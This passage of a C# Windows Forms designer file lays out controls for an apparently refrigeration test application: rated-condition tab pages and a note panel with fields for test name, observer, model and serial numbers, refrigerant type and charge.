this.ratedID2Page.TabIndex = 2;
this.ratedID2Page.Tag = "2";
this.ratedID2Page.Text = " ID1 #2 ";
this.ratedID2Page.UseVisualStyleBackColor = true;
//
// ratedID3Page
//
this.ratedID3Page.Location = new System.Drawing.Point(4, 24);
this.ratedID3Page.Margin = new System.Windows.Forms.Padding(0);
this.ratedID3Page.Name = "ratedID3Page";
this.ratedID3Page.Size = new System.Drawing.Size(620, 256);
this.ratedID3Page.TabIndex = 3;
this.ratedID3Page.Tag = "3";
this.ratedID3Page.Text = " ID2 #1 ";
this.ratedID3Page.UseVisualStyleBackColor = true;
//
// ratedID4Page
//
this.ratedID4Page.Location = new System.Drawing.Point(4, 24);
this.ratedID4Page.Margin = new System.Windows.Forms.Padding(0);
this.ratedID4Page.Name = "ratedID4Page";
this.ratedID4Page.Size = new System.Drawing.Size(620, 256);
this.ratedID4Page.TabIndex = 4;
this.ratedID4Page.Tag = "4";
this.ratedID4Page.Text = " ID2 #2 ";
this.ratedID4Page.UseVisualStyleBackColor = true;
//
// ratedTitlePanel
//
this.ratedTitlePanel.BackColor = System.Drawing.Color.Gray;
this.ratedTitlePanel.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.ratedTitlePanel.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.ratedTitlePanel.Font = new System.Drawing.Font("Arial Rounded MT Bold", 10F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ratedTitlePanel.ForeColor = System.Drawing.Color.White;
this.ratedTitlePanel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ratedTitlePanel.InnerColor2 = System.Drawing.Color.White;
this.ratedTitlePanel.Location = new System.Drawing.Point(6, 6);
this.ratedTitlePanel.Name = "ratedTitlePanel";
this.ratedTitlePanel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ratedTitlePanel.OuterColor2 = System.Drawing.Color.White;
this.ratedTitlePanel.Size = new System.Drawing.Size(628, 28);
this.ratedTitlePanel.Spacing = 0;
this.ratedTitlePanel.TabIndex = 6;
this.ratedTitlePanel.Text = "RATED CONDITION";
this.ratedTitlePanel.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ratedTitlePanel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// notePanel
//
this.notePanel.BevelInner = Ulee.Controls.EUlBevelStyle.Raised;
this.notePanel.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.notePanel.Controls.Add(this.noteSerial1Edit);
this.notePanel.Controls.Add(this.noteModel1Edit);
this.notePanel.Controls.Add(this.noteMakerEdit);
this.notePanel.Controls.Add(this.noteMemoEdit);
this.notePanel.Controls.Add(this.label2);
this.notePanel.Controls.Add(this.noteObserverEdit);
this.notePanel.Controls.Add(this.noteObserverLabel);
this.notePanel.Controls.Add(this.label21);
this.notePanel.Controls.Add(this.noteRefChargeEdit);
this.notePanel.Controls.Add(this.label20);
this.notePanel.Controls.Add(this.label19);
this.notePanel.Controls.Add(this.noteRefrigerantCombo);
this.notePanel.Controls.Add(this.noteExpDeviceEdit);
this.notePanel.Controls.Add(this.label18);
this.notePanel.Controls.Add(this.noteSerial3Edit);
this.notePanel.Controls.Add(this.label16);
this.notePanel.Controls.Add(this.noteModel3Edit);
this.notePanel.Controls.Add(this.label17);
this.notePanel.Controls.Add(this.noteSerial2Edit);
this.notePanel.Controls.Add(this.label12);
this.notePanel.Controls.Add(this.noteModel2Edit);
this.notePanel.Controls.Add(this.label13);
this.notePanel.Controls.Add(this.label14);
this.notePanel.Controls.Add(this.label15);
this.notePanel.Controls.Add(this.label10);
this.notePanel.Controls.Add(this.noteTestNoEdit);
this.notePanel.Controls.Add(this.label11);
this.notePanel.Controls.Add(this.noteTestNameEdit);
this.notePanel.Controls.Add(this.label9);
this.notePanel.Controls.Add(this.noteCompanyEdit);
this.notePanel.Controls.Add(this.label8);
this.notePanel.Controls.Add(this.noteTitlePanel);
this.notePanel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.notePanel.InnerColor2 = System.Drawing.Color.White;
this.notePanel.Location = new System.Drawing.Point(406, 0);
this.notePanel.Name = "notePanel";
this.notePanel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.notePanel.OuterColor2 = System.Drawing.Color.White;
this.notePanel.Size = new System.Drawing.Size(234, 480);
this.notePanel.Spacing = 0;
this.notePanel.TabIndex = 1;
this.notePanel.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.notePanel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// noteSerial1Edit
//
this.noteSerial1Edit.EditValue = "";
this.noteSerial1Edit.EnterMoveNextControl = true;
this.noteSerial1Edit.Location = new System.Drawing.Point(92, 228);
this.noteSerial1Edit.Name = "noteSerial1Edit";
this.noteSerial1Edit.Properties.Appearance.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteSerial1Edit.Properties.Appearance.Options.UseFont = true;
this.noteSerial1Edit.Properties.AppearanceDisabled.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteSerial1Edit.Properties.AppearanceDisabled.Options.UseFont = true;
this.noteSerial1Edit.Properties.AppearanceFocused.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteSerial1Edit.Properties.AppearanceFocused.Options.UseFont = true;
this.noteSerial1Edit.Properties.AppearanceReadOnly.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteSerial1Edit.Properties.AppearanceReadOnly.Options.UseFont = true;
this.noteSerial1Edit.Properties.MaxLength = 50;
this.noteSerial1Edit.Size = new System.Drawing.Size(136, 22);
this.noteSerial1Edit.TabIndex = 6;
//
// noteModel1Edit
//
this.noteModel1Edit.EditValue = "";
this.noteModel1Edit.EnterMoveNextControl = true;
this.noteModel1Edit.Location = new System.Drawing.Point(92, 200);
this.noteModel1Edit.Name = "noteModel1Edit";
this.noteModel1Edit.Properties.Appearance.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteModel1Edit.Properties.Appearance.Options.UseFont = true;
this.noteModel1Edit.Properties.AppearanceDisabled.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteModel1Edit.Properties.AppearanceDisabled.Options.UseFont = true;
this.noteModel1Edit.Properties.AppearanceFocused.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteModel1Edit.Properties.AppearanceFocused.Options.UseFont = true;
this.noteModel1Edit.Properties.AppearanceReadOnly.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteModel1Edit.Properties.AppearanceReadOnly.Options.UseFont = true;
this.noteModel1Edit.Properties.MaxLength = 50;
this.noteModel1Edit.Size = new System.Drawing.Size(136, 22);
this.noteModel1Edit.TabIndex = 5;
//
// noteMakerEdit
//
this.noteMakerEdit.EditValue = "";
this.noteMakerEdit.EnterMoveNextControl = true;
this.noteMakerEdit.Location = new System.Drawing.Point(92, 172);
this.noteMakerEdit.Name = "noteMakerEdit";
this.noteMakerEdit.Properties.Appearance.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteMakerEdit.Properties.Appearance.Options.UseFont = true;
this.noteMakerEdit.Properties.AppearanceDisabled.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteMakerEdit.Properties.AppearanceDisabled.Options.UseFont = true;
this.noteMakerEdit.Properties.AppearanceFocused.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteMakerEdit.Properties.AppearanceFocused.Options.UseFont = true;
this.noteMakerEdit.Properties.AppearanceReadOnly.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteMakerEdit.Properties.AppearanceReadOnly.Options.UseFont = true;
this.noteMakerEdit.Properties.MaxLength = 50;
this.noteMakerEdit.Size = new System.Drawing.Size(136, 22);
this.noteMakerEdit.TabIndex = 4;
//
// noteMemoEdit
//
this.noteMemoEdit.EditValue = "";
this.noteMemoEdit.EnterMoveNextControl = true;
this.noteMemoEdit.Location = new System.Drawing.Point(92, 452);
this.noteMemoEdit.Name = "noteMemoEdit";
this.noteMemoEdit.Properties.Appearance.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteMemoEdit.Properties.Appearance.Options.UseFont = true;
this.noteMemoEdit.Properties.AppearanceDisabled.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteMemoEdit.Properties.AppearanceDisabled.Options.UseFont = true;
this.noteMemoEdit.Properties.AppearanceFocused.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteMemoEdit.Properties.AppearanceFocused.Options.UseFont = true;
this.noteMemoEdit.Properties.AppearanceReadOnly.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteMemoEdit.Properties.AppearanceReadOnly.Options.UseFont = true;
this.noteMemoEdit.Properties.MaxLength = 50;
this.noteMemoEdit.Size = new System.Drawing.Size(136, 22);
this.noteMemoEdit.TabIndex = 14;
//
// label2
//
this.label2.Location = new System.Drawing.Point(11, 150);
this.label2.Name = "label2";
this.label2.Size = new System.Drawing.Size(221, 19);
this.label2.TabIndex = 100;
this.label2.Text = "---------------------------------------------------------------------------------" +
"";
this.label2.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
// noteObserverEdit
//
this.noteObserverEdit.EditValue = "";
this.noteObserverEdit.EnterMoveNextControl = true;
this.noteObserverEdit.Location = new System.Drawing.Point(92, 124);
this.noteObserverEdit.Name = "noteObserverEdit";
this.noteObserverEdit.Properties.Appearance.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteObserverEdit.Properties.Appearance.Options.UseFont = true;
this.noteObserverEdit.Properties.AppearanceDisabled.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteObserverEdit.Properties.AppearanceDisabled.Options.UseFont = true;
this.noteObserverEdit.Properties.AppearanceFocused.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteObserverEdit.Properties.AppearanceFocused.Options.UseFont = true;
this.noteObserverEdit.Properties.AppearanceReadOnly.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteObserverEdit.Properties.AppearanceReadOnly.Options.UseFont = true;
this.noteObserverEdit.Properties.MaxLength = 50;
this.noteObserverEdit.Size = new System.Drawing.Size(136, 22);
this.noteObserverEdit.TabIndex = 3;
//
// noteObserverLabel
//
this.noteObserverLabel.Location = new System.Drawing.Point(9, 124);
this.noteObserverLabel.Name = "noteObserverLabel";
this.noteObserverLabel.Size = new System.Drawing.Size(76, 22);
this.noteObserverLabel.TabIndex = 99;
this.noteObserverLabel.Text = "Observer";
this.noteObserverLabel.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
// label21
//
this.label21.Location = new System.Drawing.Point(9, 452);
this.label21.Name = "label21";
this.label21.Size = new System.Drawing.Size(77, 22);
this.label21.TabIndex = 97;
this.label21.Text = "Memo";
this.label21.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
// noteRefChargeEdit
//
this.noteRefChargeEdit.EditValue = "";
this.noteRefChargeEdit.EnterMoveNextControl = true;
this.noteRefChargeEdit.Location = new System.Drawing.Point(92, 424);
this.noteRefChargeEdit.Name = "noteRefChargeEdit";
this.noteRefChargeEdit.Properties.Appearance.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteRefChargeEdit.Properties.Appearance.Options.UseFont = true;
this.noteRefChargeEdit.Properties.AppearanceDisabled.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteRefChargeEdit.Properties.AppearanceDisabled.Options.UseFont = true;
this.noteRefChargeEdit.Properties.AppearanceFocused.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteRefChargeEdit.Properties.AppearanceFocused.Options.UseFont = true;
this.noteRefChargeEdit.Properties.AppearanceReadOnly.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteRefChargeEdit.Properties.AppearanceReadOnly.Options.UseFont = true;
this.noteRefChargeEdit.Properties.MaxLength = 50;
this.noteRefChargeEdit.Size = new System.Drawing.Size(136, 22);
this.noteRefChargeEdit.TabIndex = 13;
//
// label20
//
this.label20.Location = new System.Drawing.Point(9, 424);
this.label20.Name = "label20";
this.label20.Size = new System.Drawing.Size(76, 22);
this.label20.TabIndex = 95;
this.label20.Text = "Ref. Charge";
this.label20.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
// label19
//
this.label19.Location = new System.Drawing.Point(9, 394);
this.label19.Name = "label19";
this.label19.Size = new System.Drawing.Size(76, 22);
this.label19.TabIndex = 94;
this.label19.Text = "Refrigerant";
this.label19.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
// noteRefrigerantCombo
//
this.noteRefrigerantCombo.EnterMoveNextControl = true;
this.noteRefrigerantCombo.Location = new System.Drawing.Point(92, 396);
this.noteRefrigerantCombo.Name = "noteRefrigerantCombo";
this.noteRefrigerantCombo.Properties.Appearance.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteRefrigerantCombo.Properties.Appearance.Options.UseFont = true;
this.noteRefrigerantCombo.Properties.Buttons.AddRange(new DevExpress.XtraEditors.Controls.EditorButton[] {
new DevExpress.XtraEditors.Controls.EditorButton(DevExpress.XtraEditors.Controls.ButtonPredefines.Combo)});
this.noteRefrigerantCombo.Properties.Items.AddRange(new object[] {
"R-22",
"R-404A",
"R-407C",
"R-410A"});
this.noteRefrigerantCombo.Properties.MaxLength = 20;
this.noteRefrigerantCombo.Size = new System.Drawing.Size(136, 22);
this.noteRefrigerantCombo.TabIndex = 12;
//
// noteExpDeviceEdit
//
this.noteExpDeviceEdit.EditValue = "";
this.noteExpDeviceEdit.EnterMoveNextControl = true;
this.noteExpDeviceEdit.Location = new System.Drawing.Point(92, 368);
this.noteExpDeviceEdit.Name = "noteExpDeviceEdit";
this.noteExpDeviceEdit.Properties.Appearance.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteExpDeviceEdit.Properties.Appearance.Options.UseFont = true;
this.noteExpDeviceEdit.Properties.AppearanceDisabled.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteExpDeviceEdit.Properties.AppearanceDisabled.Options.UseFont = true;
this.noteExpDeviceEdit.Properties.AppearanceFocused.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteExpDeviceEdit.Properties.AppearanceFocused.Options.UseFont = true;
this.noteExpDeviceEdit.Properties.AppearanceReadOnly.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteExpDeviceEdit.Properties.AppearanceReadOnly.Options.UseFont = true;
this.noteExpDeviceEdit.Properties.MaxLength = 50;
this.noteExpDeviceEdit.Size = new System.Drawing.Size(136, 22);
this.noteExpDeviceEdit.TabIndex = 11;
//
// label18
//
this.label18.Location = new System.Drawing.Point(9, 368);
this.label18.Name = "label18";
this.label18.Size = new System.Drawing.Size(76, 22);
this.label18.TabIndex = 91;
this.label18.Text = "Exp. Device";
this.label18.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
// noteSerial3Edit
//
this.noteSerial3Edit.EditValue = "";
this.noteSerial3Edit.EnterMoveNextControl = true;
this.noteSerial3Edit.Location = new System.Drawing.Point(92, 340);
this.noteSerial3Edit.Name = "noteSerial3Edit";
this.noteSerial3Edit.Properties.Appearance.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteSerial3Edit.Properties.Appearance.Options.UseFont = true;
this.noteSerial3Edit.Properties.AppearanceDisabled.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteSerial3Edit.Properties.AppearanceDisabled.Options.UseFont = true;
this.noteSerial3Edit.Properties.AppearanceFocused.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteSerial3Edit.Properties.AppearanceFocused.Options.UseFont = true;
this.noteSerial3Edit.Properties.AppearanceReadOnly.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteSerial3Edit.Properties.AppearanceReadOnly.Options.UseFont = true;
this.noteSerial3Edit.Properties.MaxLength = 50;
this.noteSerial3Edit.Size = new System.Drawing.Size(136, 22);
this.noteSerial3Edit.TabIndex = 10;
//
// label16
//
this.label16.Location = new System.Drawing.Point(9, 340);
this.label16.Name = "label16";
this.label16.Size = new System.Drawing.Size(76, 22);
this.label16.TabIndex = 89;
this.label16.Text = "Serial No(3)";
this.label16.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
// noteModel3Edit
//
this.noteModel3Edit.EditValue = "";
this.noteModel3Edit.EnterMoveNextControl = true;
this.noteModel3Edit.Location = new System.Drawing.Point(92, 312);
this.noteModel3Edit.Name = "noteModel3Edit";
this.noteModel3Edit.Properties.Appearance.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteModel3Edit.Properties.Appearance.Options.UseFont = true;
this.noteModel3Edit.Properties.AppearanceDisabled.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteModel3Edit.Properties.AppearanceDisabled.Options.UseFont = true;
this.noteModel3Edit.Properties.AppearanceFocused.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteModel3Edit.Properties.AppearanceFocused.Options.UseFont = true;
this.noteModel3Edit.Properties.AppearanceReadOnly.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteModel3Edit.Properties.AppearanceReadOnly.Options.UseFont = true;
this.noteModel3Edit.Properties.MaxLength = 50;
this.noteModel3Edit.Size = new System.Drawing.Size(136, 22);
this.noteModel3Edit.TabIndex = 9;
//
// label17
//
this.label17.Location = new System.Drawing.Point(9, 312);
this.label17.Name = "label17";
this.label17.Size = new System.Drawing.Size(76, 22);
this.label17.TabIndex = 87;
this.label17.Text = "Model(3)";
this.label17.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
// noteSerial2Edit
//
this.noteSerial2Edit.EditValue = "";
this.noteSerial2Edit.EnterMoveNextControl = true;
this.noteSerial2Edit.Location = new System.Drawing.Point(92, 284);
this.noteSerial2Edit.Name = "noteSerial2Edit";
this.noteSerial2Edit.Properties.Appearance.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteSerial2Edit.Properties.Appearance.Options.UseFont = true;
this.noteSerial2Edit.Properties.AppearanceDisabled.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteSerial2Edit.Properties.AppearanceDisabled.Options.UseFont = true;
this.noteSerial2Edit.Properties.AppearanceFocused.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteSerial2Edit.Properties.AppearanceFocused.Options.UseFont = true;
this.noteSerial2Edit.Properties.AppearanceReadOnly.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteSerial2Edit.Properties.AppearanceReadOnly.Options.UseFont = true;
this.noteSerial2Edit.Properties.MaxLength = 50;
this.noteSerial2Edit.Size = new System.Drawing.Size(136, 22);
this.noteSerial2Edit.TabIndex = 8;
//
// label12
//
this.label12.Location = new System.Drawing.Point(9, 284);
this.label12.Name = "label12";
this.label12.Size = new System.Drawing.Size(76, 22);
this.label12.TabIndex = 85;
this.label12.Text = "Serial No(2)";
this.label12.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
// noteModel2Edit
//
this.noteModel2Edit.EditValue = "";
this.noteModel2Edit.EnterMoveNextControl = true;
this.noteModel2Edit.Location = new System.Drawing.Point(92, 256);
this.noteModel2Edit.Name = "noteModel2Edit";
this.noteModel2Edit.Properties.Appearance.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteModel2Edit.Properties.Appearance.Options.UseFont = true;
this.noteModel2Edit.Properties.AppearanceDisabled.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteModel2Edit.Properties.AppearanceDisabled.Options.UseFont = true;
this.noteModel2Edit.Properties.AppearanceFocused.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteModel2Edit.Properties.AppearanceFocused.Options.UseFont = true;
this.noteModel2Edit.Properties.AppearanceReadOnly.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteModel2Edit.Properties.AppearanceReadOnly.Options.UseFont = true;
this.noteModel2Edit.Properties.MaxLength = 50;
this.noteModel2Edit.Size = new System.Drawing.Size(136, 22);
this.noteModel2Edit.TabIndex = 7;
//
// label13
//
this.label13.Location = new System.Drawing.Point(9, 256);
this.label13.Name = "label13";
this.label13.Size = new System.Drawing.Size(76, 22);
this.label13.TabIndex = 83;
this.label13.Text = "Model(2)";
this.label13.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
// label14
//
this.label14.Location = new System.Drawing.Point(9, 228);
this.label14.Name = "label14";
this.label14.Size = new System.Drawing.Size(76, 22);
this.label14.TabIndex = 81;
this.label14.Text = "Serial No.(1)";
this.label14.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
// label15
//
this.label15.Location = new System.Drawing.Point(9, 200);
this.label15.Name = "label15";
this.label15.Size = new System.Drawing.Size(76, 22);
this.label15.TabIndex = 79;
this.label15.Text = "Model(1)";
this.label15.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
// label10
//
this.label10.Location = new System.Drawing.Point(9, 172);
this.label10.Name = "label10";
this.label10.Size = new System.Drawing.Size(76, 22);
this.label10.TabIndex = 77;
this.label10.Text = "Maker";
this.label10.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
// noteTestNoEdit
//
this.noteTestNoEdit.EditValue = "";
this.noteTestNoEdit.EnterMoveNextControl = true;
this.noteTestNoEdit.Location = new System.Drawing.Point(92, 96);
this.noteTestNoEdit.Name = "noteTestNoEdit";
this.noteTestNoEdit.Properties.Appearance.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteTestNoEdit.Properties.Appearance.Options.UseFont = true;
this.noteTestNoEdit.Properties.AppearanceDisabled.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteTestNoEdit.Properties.AppearanceDisabled.Options.UseFont = true;
this.noteTestNoEdit.Properties.AppearanceFocused.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteTestNoEdit.Properties.AppearanceFocused.Options.UseFont = true;
this.noteTestNoEdit.Properties.AppearanceReadOnly.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteTestNoEdit.Properties.AppearanceReadOnly.Options.UseFont = true;
this.noteTestNoEdit.Properties.MaxLength = 50;
this.noteTestNoEdit.Size = new System.Drawing.Size(136, 22);
this.noteTestNoEdit.TabIndex = 2;
//
// label11
//
this.label11.Location = new System.Drawing.Point(9, 96);
this.label11.Name = "label11";
this.label11.Size = new System.Drawing.Size(76, 22);
this.label11.TabIndex = 75;
this.label11.Text = "Test No.";
this.label11.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
// noteTestNameEdit
//
this.noteTestNameEdit.EditValue = "";
this.noteTestNameEdit.EnterMoveNextControl = true;
this.noteTestNameEdit.Location = new System.Drawing.Point(92, 68);
this.noteTestNameEdit.Name = "noteTestNameEdit";
this.noteTestNameEdit.Properties.Appearance.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteTestNameEdit.Properties.Appearance.Options.UseFont = true;
this.noteTestNameEdit.Properties.AppearanceDisabled.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteTestNameEdit.Properties.AppearanceDisabled.Options.UseFont = true;
this.noteTestNameEdit.Properties.AppearanceFocused.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteTestNameEdit.Properties.AppearanceFocused.Options.UseFont = true;
this.noteTestNameEdit.Properties.AppearanceReadOnly.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteTestNameEdit.Properties.AppearanceReadOnly.Options.UseFont = true;
this.noteTestNameEdit.Properties.MaxLength = 50;
this.noteTestNameEdit.Size = new System.Drawing.Size(136, 22);
this.noteTestNameEdit.TabIndex = 1;
//
// label9
//
this.label9.Location = new System.Drawing.Point(9, 68);
this.label9.Name = "label9";
this.label9.Size = new System.Drawing.Size(76, 22);
this.label9.TabIndex = 73;
this.label9.Text = "Test Name";
this.label9.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
// noteCompanyEdit
//
this.noteCompanyEdit.EditValue = "";
this.noteCompanyEdit.EnterMoveNextControl = true;
this.noteCompanyEdit.Location = new System.Drawing.Point(92, 40);
this.noteCompanyEdit.Name = "noteCompanyEdit";
this.noteCompanyEdit.Properties.Appearance.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteCompanyEdit.Properties.Appearance.Options.UseFont = true;
this.noteCompanyEdit.Properties.AppearanceDisabled.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteCompanyEdit.Properties.AppearanceDisabled.Options.UseFont = true;
this.noteCompanyEdit.Properties.AppearanceFocused.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteCompanyEdit.Properties.AppearanceFocused.Options.UseFont = true;
this.noteCompanyEdit.Properties.AppearanceReadOnly.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteCompanyEdit.Properties.AppearanceReadOnly.Options.UseFont = true;
this.noteCompanyEdit.Properties.MaxLength = 50;
this.noteCompanyEdit.Size = new System.Drawing.Size(136, 22);
